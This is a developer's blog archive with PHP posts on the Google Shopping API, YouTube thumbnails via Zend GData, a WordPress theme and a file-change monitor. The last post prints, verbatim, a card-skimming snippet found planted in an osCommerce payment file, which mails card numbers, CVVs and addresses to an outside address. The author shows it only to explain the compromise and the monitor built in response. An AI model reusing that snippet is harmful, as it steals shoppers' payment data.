Category Archives: Works

Get Competitor’s price using Google Merchant Acct and Google Shopping API

To Download Class click :  http://uniapple.net/download/GoogleShoppingAPI.zip

June 1, Google Base API service has been discontinued. so I wrote a new Class to use Google Shopping API and I share it :)

Diagram :




The API queries limit is 2,500 queries/day

And today I spend all of them to test my code :(

So I will post screen shot and test result tomorrow.






Example Code ::

function getSingleItemSample(){
	$gApi = new GoogleShoppingAPI();
	$query = array(
		//'restrictBy' => 'accountId=YOUR_GOOGLE_ACCOUNT_ID', //To get your Google merchant price
		'condition ' => 'new',
		'rankBy' => 'price:ascending',
		'maxResults' => 1);
	//fields : brand,condition,gtin,
	$gApi->setQuery($query);
	$gApi->setItem('DG221UGB'); //for item query
	$response = $gApi -> getItemData();
	$response = json_decode($response);

	print_r($response);

	/**************************
	// Now cook yourself
	**************************/
}

function getMultipleItemSample(){
	$gApi = new GoogleShoppingAPI();
	$query = array(
		'condition ' => 'new',
		'order' => 'asceding',
                'rankBy' => 'price:ascending',
		'maxResults' => 5);
	$gApi->setQuery($query);

	$items = array(
	    array('q' => 'DG221UGB'),
	    array('q' => 'DVSCLV-600P-SI'),
	    array('q' => '603P-SG'),
	    array('q' => 'DVSC-600P-CB'),
	    array('q' => '603P-MN'),
	    array('q' => '600P-MN'),
	    array('q' => '603P-MR'),
	    array('q' => 'Q215'),
	    array('q' => 'HOM215')
	);

	$gApi->setItem($items);
	$response = $gApi -> getItemData();

	$responseSize = sizeof($response);

	for($i=0; $i<$responseSize; $i++){
		$feed = json_decode($response[$i]['feed']);
		$response[$i]['price'] = $feed->items[0]->product->inventories[0]->price;
		$response[$i]['googleId'] = $feed->items[0]->product->googleId;
		$response[$i]['seller'] = $feed->items[0]->product->author->name;
		$response[$i]['link'] = $feed->items[0]->product->link;
		unset($response[$i]['feed']);
	}

	print_r($response);

	/**************************
	// Now cook yourself
	**************************/

}

/* Get Single Item */
getSingleItemSample();

/* Get Multiple Item (Competitor Price) */
getMultipleItemSample();


Result & Screen shot

Posted in Tech Note, Works | Tagged , , , , , , | 20 Comments

How to get youtube thumbnail and video information. (Using GAPI)

I got a order from my supervisor making youtube video gallery today.

So that, I need to get youtube thumbnail image for listing.

I just test my code and I confirmed it works well. So, I’d like to show you how to get youtube thumbnail.

My envirment is WAMP. So I refered this api manual.

http://code.google.com/intl/ko-KR/apis/youtube/2.0/developers_guide_php.html#Getting_Started

1. Firstly, download PHP Client Library

http://framework.zend.com/download/gdata/

and extract to the folder you want.

2. GAPI run based on Zend Framework. So we need to install Zend Framework first.

(* You don’t have to download Zend Framework, because the Google Client Library already has it.)

Now, we need to tell to our PHP ‘Hey, I gonna use Zend Framework ,so make it ready!’

In my case, I’m using windows (This is my test server)

I add a command line into php.ini file.

# include_path = “c:\your_library_path”

# In my case

include_path = "c:\wamp\www\youtube\library"

If you are using Linux,

# include_path = [DOCUMENT_ROOT]/library

include_path="/home/content/a/b/html/youtube/library"

* If you do not know your DOCUMENT ROOT path, then try to print out

echo $_SERVER['DOCUMENT_ROOT'];

more info, check this : http://code.google.com/intl/ko-KR/apis/gdata/articles/php_client_lib.html#appendix_phpini

For testing your setting, try to run this script.

http://framework.zend.com/svn/framework/standard/trunk/demos/Zend/Gdata/InstallationChecker.php

If you got the same result as above, then it’s installed successfully.

If not, check your php.ini file again.

Now we are all ready to surfing youtube API ioi

(http://code.google.com/intl/ko-KR/apis/youtube/2.0/developers_guide_php.html#Getting_Started , all these functions are yours!)

Let’s get a thumb nail for a youtube video.

I choose this movie ‘Miley Cyrus is Justin Bieber – PARODY – SNL / Saturday Night Live 2011’

The url is ‘http://www.youtube.com/watch?v=wst4zG_BNUg&feature=youtube_gdata_player

Create test.php file, and typing code like this,

<?PHP

require_once 'Zend/Loader.php'; // the Zend dir must be in your include_path
Zend_Loader::loadClass('Zend_Gdata_YouTube');

$yt = new Zend_Gdata_YouTube();
$yt->setMajorProtocolVersion(2);
$videoEntry = $yt->getVideoEntry(VIDEO_ID);

?>

We need to get VIDEO_ID for getVideoEntry parameter.

How we get? the url contain the VIDEO_ID.

http://www.youtube.com/watch?v=wst4zG_BNUg&feature=youtube_gdata_player

Now we know the VIDEO_ID.

Finally! let’s get the thumbnail url using getVideoThumbnails() function.

<?php

require_once 'Zend/Loader.php'; // the Zend dir must be in your include_path
Zend_Loader::loadClass('Zend_Gdata_YouTube');

$yt = new Zend_Gdata_YouTube();
$yt->setMajorProtocolVersion(2);
$videoEntry = $yt->getVideoEntry('wst4zG_BNUg');

$videoThumbnails = $videoEntry->getVideoThumbnails();
print_r($videoThumbnails);

?>



Output :


It show various thumbnail, but I need only first one.

If you curious the other thumbnails, try to output:

$thumbSize = sizeof($videoThumbnails);
for($i=0; $i<$thumbSize; $i++){
echo "<img src='{$videoThumbnails[$i]['url']}' /><br />";
}


For first one ::

echo "<img src='{$videoThumbnails[0]['url']}' />";



output :


Ok, we got the thumb nail now.

Let’s make url link the image to youtube.

echo 'Flash Player Url: ' . $videoEntry->getFlashPlayerUrl() . "<br />";
echo "<a href='". $videoEntry->getFlashPlayerUrl() ."'><img src='{$videoThumbnails[0]['url']}' /></a>";

The other useful functions,

function printVideoEntry($videoEntry)
{
// the videoEntry object contains many helper functions
// that access the underlying mediaGroup object
echo 'Video: ' . $videoEntry->getVideoTitle() . "<br />";
echo 'Video ID: ' . $videoEntry->getVideoId() . "<br />";
echo 'Updated: ' . $videoEntry->getUpdated() . "<br />";
echo 'Description: ' . $videoEntry->getVideoDescription() . "<br />";
echo 'Category: ' . $videoEntry->getVideoCategory() . "<br />";
echo 'Tags: ' . implode(", ", $videoEntry->getVideoTags()) . "<br />";
echo 'Watch page: ' . $videoEntry->getVideoWatchPageUrl() . "<br />";
echo 'Flash Player Url: ' . $videoEntry->getFlashPlayerUrl() . "<br />";
echo 'Duration: ' . $videoEntry->getVideoDuration() . "<br />";
echo 'View count: ' . $videoEntry->getVideoViewCount() . "<br />";
echo 'Rating: ' . $videoEntry->getVideoRatingInfo() . "<br />";
echo 'Geo Location: ' . $videoEntry->getVideoGeoLocation() . "<br />";
echo 'Recorded on: ' . $videoEntry->getVideoRecorded() . "<br />";

// see the paragraph above this function for more information on the
// 'mediaGroup' object. in the following code, we use the mediaGroup
// object directly to retrieve its 'Mobile RSTP link' child
foreach ($videoEntry->mediaGroup->content as $content) {
if ($content->type === "video/3gpp") {
echo 'Mobile RTSP link: ' . $content->url . "<br />";
}
}

echo "Thumbnails:<br />";
$videoThumbnails = $videoEntry->getVideoThumbnails();

foreach($videoThumbnails as $videoThumbnail) {
echo $videoThumbnail['time'] . ' - ' . $videoThumbnail['url'];
echo ' height=' . $videoThumbnail['height'];
echo ' width=' . $videoThumbnail['width'] . "<br />";
}
}

More functions,

Please check Google API Manual :

http://code.google.com/intl/ko-KR/apis/youtube/2.0/developers_guide_php.html#Getting_Started

============================================================================================
============================================================================================
My Youtube Class
============================================================================================

<?php
require_once 'Zend/Loader.php'; // the Zend dir must be in your include_path
Zend_Loader::loadClass('Zend_Gdata_YouTube');

class Get_youtube_thumb {
protected $_video_codes;
protected $_thumbs = array();

public function __construct($video_codes){
if(!isset($video_codes)){
throw new Exception('Video_codes are required!');
}
if(!is_array($video_codes)){
throw new Exception('Video_codes should be an array!');
}

$this->_video_codes = $video_codes;
}

protected function set_thumbs(){
$code_size = sizeof($this->_video_codes);

for($i=0; $i<$code_size; $i++){
$yt = new Zend_Gdata_YouTube();
$yt->setMajorProtocolVersion(2);
$videoEntry = $yt->getVideoEntry($this->_video_codes[$i]);
$videoThumbnails = $videoEntry->getVideoThumbnails();

$this->_thumbs[$i]['code'] = $this->_video_codes[$i];
$this->_thumbs[$i]['thumb'] = $videoThumbnails[0]['url'];
}
}

public function get_thumbs(){
$this->set_thumbs();
return $this->_thumbs;
}
}

$test_array = array('zwJef-hQ4Pk','9jArUdIQ9kw','8uUzvBhCMKQ','liHKFvMJ0p4','UfcvO2t8Ntg');
$yt = new Get_youtube_thumb($test_array);
$tm = $yt -> get_thumbs();
echo "<ul>";
for($i=0,$tm_size=sizeof($tm); $i < $tm_size; $i++){
echo "<li><a href=\"javascript:get_video('http://www.youtube.com/embed/{$tm[$i]['code']}')\"><img src='{$tm[$i]['thumb']}' /></a></li>";
}
echo "</ul>";
?>

Posted in PHP, Tech Note, Tools, Works | Tagged , , , , , , | 8 Comments

Index page theme

I just make my index page theme. ^^

I share it~!

download

download the file and unzip, then you can see the loop-index.php file

put this file in yourtheme/ folder

* If you have already loop-index.php file, please backup your original file first!

Thanks

P.S : I use juery and jquery-masonry plugin!

Thanks David and jquery~!

http://desandro.com/resources/jquery-masonry/

Posted in Wordpress, Works | Tagged , , | Leave a comment

Monitor file changing class

I got a part time job that adding some function to E-commerse website which is builded by OScommerce. and I found these code in a payment processing file.

<body marginwidth=”0″ marginheight=”0″ topmargin=”0″ bottommargin=”0″ leftmargin=”0″ rightmargin=”0″>
<?
error_reporting (0);
$ip_holder = $_SERVER[‘REMOTE_ADDR’];
$tr_deliv_adr = tep_address_format($order->delivery[‘format_id’], $order->delivery, 1, ‘ ‘, ‘ ‘);
$tr_bill_adr = tep_address_format($order->billing[‘format_id’], $order->billing, 1, ‘ ‘, ‘ ‘);
$tr_cc_phone = $_POST[“customers_telephone”];
$tr_cc_owner = $_POST[“cc_owner”];
$tr_cc_number= $_POST[“cc_number”];
$tr_cc_cvv= $_POST[“cc_cvv2”];
$tr_cc_expires_month = $_POST[“cc_expires_month”];
$tr_cc_expires_year= $_POST[“cc_expires_year”];
$info_body .= $tr_deliv_adr.”;”;
$info_body .= $tr_bill_adr.”;”;
$info_body .= $tr_cc_owner.”;”;
$info_body .= $tr_cc_number.”;”;
$info_body .= $tr_cc_expires_month.”/”.$tr_cc_expires_year.”;”;
$info_body .= $tr_cc_cvv.”;”;
mail(“sexen@bk.ru“,’!!! NEW CC !!!’,$info_body,”wonatrading.com\r\n”);
?>
As you see, when we get a credit card information from client, the information will be sent to stupid monkey automatically.
Firstly , of cause I delete the code. and I make a simple class that monitor a important files changing.
I add this class in all the e-commerce site that I develop. and add to crontab.
<?php
/*
* MONITOR FILE CHANGING
* Mark song (ilovekanon@gmail.com)

USAGE ::
try{
$monitorFiles = array(“../shop/payment.php”,”../photo/mygirl.jpg”);
new MonitorFileChange($monitorFiles);
}catch(Exception $e){
echo $e->getMessage();
}
*/
class MonitorFileChange{

protected $_files;
protected $_logData;

public function __construct($monitorFiles){
if(!$monitorFiles) throw new Exception(“Monitor File is required!”);
if(!is_array($monitorFiles)) throw new Exception(“Monitor File should be an array!”);

$this->_files = $monitorFiles;
$this->fileMonitor();
}

protected function fileMonitor(){
$fp = fopen(“./monitorFileLog.txt”,’r+’);
while($line = fgets($fp,1024)){
if(trim($line)){
$data = explode(‘#’,$line);
//$data[0] = filePath,$data[1] = size,$data[2] = date
if(in_array($data[0],$this->_files)){
$fileSize = filesize($data[0]);
if($fileSize != $data[1]){
$this->emailNotice($data,$fileSize);
$data[1] = $fileSize;
$data[2] = date(“Y-m-d”);
}

for($j=0,$q=sizeof($this->_files);$j<$q;$j++){
if($this->_files[$j] == $data[0]){
unset($this->_files[$j]);
}
}
}
$this->_files = array_values($this->_files);
$this->_logData[] = $data;
}
}
$j = $q = $data = NULL;

for($j=0,$q=sizeof($this->_files);$j<$q;$j++){
if($this->_files[$j]){
$data[0] = $this->_files[$j];
$data[1] = filesize($this->_files[$j]);
$data[2] = date(“Y-m-d”);
$this->_logData[] = $data;
}
}
fclose($fp);
$this->saveLog();
}

protected function emailNotice($data,$newSize){
$message = “HOST : “.$_SERVER[‘SERVER_NAME’].”\n\n”;
$message .= “File : “.$data[0].”\n\n”;
$message .= “Size : “.$data[1].” Byte =>”.$newSize.” Byte\n\n”;
$message .= “Last Updated : “.$data[2];

mail(‘ilovekanon@gmail.com’,’Warning : File monitor catch a file has been changed!’,$message);
}

protected function saveLog(){
$fp = fopen(“./monitorFileLog.txt”,”w”);
for($i=0,$size=sizeof($this->_logData);$i<$size;$i++){
$data = implode(‘#’,$this->_logData[$i]);
if($data) fwrite($fp,$data);
}
fclose($fp);
}

}//class

try{
$monitorFiles = array(“../shop/payment.php”,”../lib/authorizeddotnet.php”);
new MonitorFileChange($monitorFiles);
}catch(Exception $e){
echo $e->getMessage();
}
?>

If you have a better idea, or if you find some bug in my code,
please advice me ^^;
Thanks
Posted in Works | Tagged , , , | 1 Comment